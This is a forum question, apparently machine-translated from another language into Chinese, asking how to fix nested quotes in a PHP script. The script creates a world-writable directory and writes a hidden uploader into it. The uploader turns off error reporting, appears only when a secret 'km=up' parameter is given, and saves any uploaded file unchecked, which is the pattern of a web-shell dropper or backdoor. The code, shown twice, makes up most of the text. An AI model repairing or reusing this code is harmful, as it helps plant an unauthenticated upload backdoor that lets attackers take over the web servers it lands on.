所以我制作了这个PHP脚本,我想制作一个目录,然后在这个目录中创建一个文件,并用另一个PHP代码填充它,问题是引号,看看这个:
<?php
@mkdir('kendo',0777);
$f1 = @fopen ('kendo/up.php','w');
$f2 = '
<?php
error_reporting(0);
$system = $_GET['km'];
if($system == 'up'){
$temp = $_FILES['file']['tmp_name'];
$nan = $_FILES['file']['name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='upload' />
</form>";
move_uploaded_file($temp,$nan);
}
?>
';
@fwrite($f1 , $f2);
?>
我想制作名为kendo ok的目录?在这个目录里面我想制作一个带有简单上传脚本的另一个php文件,东西是引号破坏代码,第二个变量是:
$f2 = '
<?php
error_reporting(0);
$system = $_GET['km'];
if($system == 'up'){
$temp = $_FILES['file']['tmp_name'];
$nan = $_FILES['file']['name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='upload' />
</form>";
move_uploaded_file($temp,$nan);
}
?>
';
以单引号开头,我要创建的php文件也包含单引号和双引号,因为我总是会收到错误,无论如何要过滤这个?